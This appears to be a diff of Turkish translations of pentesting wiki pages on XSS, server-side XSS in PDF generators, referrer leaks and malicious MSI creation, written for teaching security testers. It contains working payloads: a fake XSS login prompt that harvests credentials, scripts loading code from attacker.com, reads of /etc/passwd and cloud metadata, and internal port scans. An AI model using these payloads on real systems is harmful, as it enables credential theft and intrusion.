_Kısa süreler yanıt veren bir portu gösterir_ _Uzun süreler yanıt yok demektir._
Chrome'da yasaklanan portların listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gözden geçirin.
Chrome'da yasaklanan portlar listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gözden geçirin.
### Kimlik bilgilerini istemek için kutu
```markup
### Kimlik bilgileri istemek için kutu
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Otomatik doldurma şifreleri yakalama
@ -1404,7 +1404,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
</script>
```
### PostMessage mesajlarını çalmak
```markup
```html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
@ -1432,7 +1432,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
### Kör XSS yükleri
Ayrıca şunu da kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.com)
```markup
```html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
@ -1508,7 +1508,7 @@ xss-in-markdown.md
### XSS'den SSRF'ye
**Önbellek kullanan bir sitede XSS elde ettiniz mi?** Bu yük ile Edge Side Include Injection aracılığıyla **bunu SSRF'ye yükseltmeyi** deneyin:
**Önbellek kullanan bir sitede XSS elde ettiniz mi?** Bu yük ile **bunu SSRF'ye yükseltmeyi** deneyin:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1517,14 +1517,14 @@ Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-inje
### Dinamik oluşturulan PDF'de XSS
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu kandırmayı** deneyebilirsiniz ve **rastgele JS kodu çalıştırmasını** sağlayabilirsiniz.\
Yani, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu çalıştırması için kandırmayı** deneyebilirsiniz.\
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
{{#ref}}
pdf-injection.md
@ -1532,16 +1532,16 @@ pdf-injection.md
### Amp4Email'de XSS
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
Örnek [**Gmail'de Amp4Email'de XSS yazımı**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS dosya yükleme (svg)
Aşağıdaki gibi bir dosyayı ( [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/) ) bir resim olarak yükleyin:
```markup
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
@ -1559,13 +1559,13 @@ alert(1);
-----------------------------232181429808--
```
```markup
```html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```
```markup
```html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">

View File

@ -5,23 +5,23 @@
## Sunucu Tarafı XSS (Dinamik PDF)
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu kandırmayı** deneyebilirsiniz ve **keyfi JS kodu çalıştırmasını** sağlayabilirsiniz.\
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
Yani, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
Lütfen, `<script></script>` etiketlerinin her zaman çalışmadığını unutmayın, bu yüzden JS'yi çalıştırmak için farklı bir yöntem kullanmanız gerekecek (örneğin, `<img` istismar ederek).\
Ayrıca, normal bir istismar durumunda oluşturulan PDF'yi **görebilir/indirebilirsiniz**, bu yüzden **JS ile yazdığınız her şeyi** görebilirsiniz (örneğin `document.write()` kullanarak). Ancak, eğer oluşturulan PDF'yi **göremezseniz**, muhtemelen **bilgiyi çıkarmak için web isteği yapmanız** gerekecek (Kör).
Ayrıca, normal bir istismar durumunda oluşturulan PDF'yi **görebilir/indirebilirsiniz**, bu yüzden **JS ile yazdığınız her şeyi** görebileceksiniz (örneğin `document.write()` kullanarak). Ancak, eğer oluşturulan PDF'yi **göremezseniz**, muhtemelen **bilgiyi çıkarmak için web isteği yapmanız** gerekecektir (Kör).
### Popüler PDF oluşturma
- **wkhtmltopdf**, HTML ve CSS'i PDF belgelerine dönüştürme yeteneği ile bilinir ve WebKit render motorunu kullanır. Bu araç, geniş bir uygulama yelpazesi için erişilebilir olan açık kaynaklı bir komut satırı aracı olarak mevcuttur.
- **wkhtmltopdf**, HTML ve CSS'yi PDF belgelerine dönüştürme yeteneği ile bilinir ve WebKit render motorunu kullanır. Bu araç, geniş bir uygulama yelpazesi için erişilebilir olan açık kaynaklı bir komut satırı aracı olarak mevcuttur.
- **TCPDF**, PDF oluşturma için PHP ekosisteminde sağlam bir çözüm sunar. Görüntüleri, grafikleri ve şifrelemeyi işleyebilme yeteneğine sahiptir ve karmaşık belgeler oluşturma konusundaki çok yönlülüğünü sergiler.
- Node.js ortamında çalışanlar için **PDFKit** geçerli bir seçenek sunar. HTML ve CSS'den doğrudan PDF belgeleri oluşturulmasına olanak tanır ve web içeriği ile yazdırılabilir formatlar arasında bir köprü sağlar.
- Java geliştiricileri, PDF oluşturmayı kolaylaştıran ve dijital imzalar ile form doldurma gibi gelişmiş özellikleri destekleyen **iText** kütüphanesini tercih edebilir. Kapsamlı özellik seti, güvenli ve etkileşimli belgeler oluşturmak için uygundur.
- **FPDF**, basitliği ve kullanım kolaylığı ile öne çıkan bir başka PHP kütüphanesidir. Geliştiricilerin kapsamlı özelliklere ihtiyaç duymadan PDF oluşturma için basit bir yaklaşım arayanlar için tasarlanmıştır.
- **FPDF**, basitliği ve kullanım kolaylığı ile öne çıkan bir başka PHP kütüphanesidir. Geliştiricilerin kapsamlı özelliklere ihtiyaç duymadan PDF oluşturma konusunda basit bir yaklaşım arayanlar için tasarlanmıştır.
## Payloadlar
### Keşif
```markup
```html
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
@ -35,8 +35,8 @@ Ayrıca, normal bir istismar durumunda oluşturulan PDF'yi **görebilir/indirebi
```
### SVG
Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe Burpcollab alt alanına erişirken, diğeri de meta veri uç noktasına erişim sağlamak için örnek olarak verilmiştir.
```markup
Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe Burpcollab alt alanına erişirken, diğeri ise meta veri uç noktasına erişim sağlamak için örnek olarak verilmiştir.
```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
@ -63,7 +63,7 @@ alert(1);
Birçok **diğer SVG yüklemesi** bulabilirsiniz [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
### Yol ifşası
```markup
```html
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing -->
### Yükleme harici bir betik
Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kontrol ettiğiniz bir betiği yüklemesini sağlamak için açığı kötüye kullanmaktır. Böylece, yüklenen yükü yerel olarak değiştirebilir ve botun her seferinde aynı kodla yüklemesini sağlayabilirsiniz.
```markup
```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
@ -81,8 +81,8 @@ Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kon
> [!WARNING]
> `file:///etc/passwd` yerine `http://169.254.169.254/latest/user-data` gibi bir şey değiştirin **harici bir web sayfasına erişmeye çalışmak için (SSRF)**.
>
> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adı veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md).
```markup
> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adına veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md).
```html
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
</script>
```
```markup
```html
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
@ -100,7 +100,7 @@ xhzeem.send();
</script>
```
```markup
```html
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
@ -112,11 +112,11 @@ xhzeem.send();
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```
```markup
```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### Bot gecikmesi
```markup
```html
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
@ -129,7 +129,7 @@ time += 500;
<img src="https://attacker.com/delay">
```
### Port Tarama
```markup
```html
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
@ -147,12 +147,12 @@ checkPort(i);
```
### [SSRF](../ssrf-server-side-request-forgery/index.html)
Bu zafiyet, bir SSRF'ye çok kolay bir şekilde dönüştürülebilir (çünkü script'in dış kaynakları yüklemesine izin verirsiniz). Bu yüzden bunu istismar etmeyi deneyin (biraz meta verisi mi okuyacaksınız?).
Bu zafiyet, SSRF'ye çok kolay bir şekilde dönüştürülebilir (çünkü script'in dış kaynakları yüklemesine izin verirsiniz). Bu yüzden bunu istismar etmeyi deneyin (biraz meta veriyi mi okuyacaksınız?).
### Attachments: PD4ML
**PDF için ekleri belirtmeye** izin veren bazı HTML 2 PDF motorları vardır, örneğin **PD4ML**. Bu özelliği, **herhangi bir yerel dosyayı** PDF'ye **eklemek için** kötüye kullanabilirsiniz.\
Eklemeyi açmak için dosyayı **Firefox ile açtım ve Kağıt Klibi simgesine çift tıkladım** ve **eklemeyi** yeni bir dosya olarak **kaydettim**.\
PDF için **ekleri belirtmeye** izin veren bazı HTML 2 PDF motorları vardır, bunlardan biri **PD4ML**'dir. Bu özelliği, PDF'ye **herhangi bir yerel dosyayı eklemek** için kötüye kullanabilirsiniz.\
Eklemeyi açmak için dosyayı **Firefox ile açtım ve Ataç simgesine çift tıkladım** ve **eklemeyi** yeni bir dosya olarak **kaydettim**.\
Burp ile **PDF yanıtını** yakalamak da **eklemeyi düz metin olarak** PDF içinde **göstermelidir**.
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->

View File

@ -2,11 +2,11 @@
# Referrer başlıkları ve politikası
Referrer, tarayıcıların hangi sayfanın önceki ziyaret edildiğini belirtmek için kullandığı başlıktır.
Referrer, tarayıcılar tarafından önceki ziyaret edilen sayfayı belirtmek için kullanılan başlıktır.
## Hassas bilgilerin sızdırılması
Eğer bir web sayfası içinde herhangi bir hassas bilgi GET isteği parametrelerinde yer alıyorsa, eğer sayfa dış kaynaklara bağlantılar içeriyorsa veya bir saldırgan kullanıcının saldırgan tarafından kontrol edilen bir URL'yi ziyaret etmesini sağlamak için (sosyal mühendislik) bir öneride bulunabiliyorsa, en son GET isteği içindeki hassas bilgileri dışarıya sızdırabilir.
Eğer bir web sayfasında herhangi bir noktada hassas bilgiler GET isteği parametrelerinde yer alıyorsa, eğer sayfa dış kaynaklara bağlantılar içeriyorsa veya bir saldırgan kullanıcının saldırgan tarafından kontrol edilen bir URL'yi ziyaret etmesini sağlamak için (sosyal mühendislik) bir şekilde yönlendirebiliyorsa, en son GET isteğindeki hassas bilgileri dışarı sızdırabilir.
## Azaltma
@ -23,8 +23,8 @@ Referrer-Policy: unsafe-url
```
## Karşı Önlem
Bu kuralı bir HTML meta etiketi kullanarak geçersiz kılabilirsiniz (saldırganın bir HTML enjeksiyonu kullanması gerekir):
```markup
Bu kuralı bir HTML meta etiketi kullanarak geçersiz kılabilirsiniz (saldırganın bir HTML enjeksiyonu gerçekleştirmesi gerekir):
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```

View File

@ -7,7 +7,7 @@ MSI yükleyicisinin oluşturulması wixtools kullanılarak yapılacaktır, özel
Wix MSI kullanım örnekleri hakkında kapsamlı bir anlayış için, [bu sayfayı](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) incelemeniz önerilir. Burada, wix MSI kullanımını gösteren çeşitli örnekler bulabilirsiniz.
Amaç, lnk dosyasını çalıştıracak bir MSI oluşturmaktır. Bunu başarmak için aşağıdaki XML kodu kullanılabilir ([xml buradan](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
```markup
```html
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"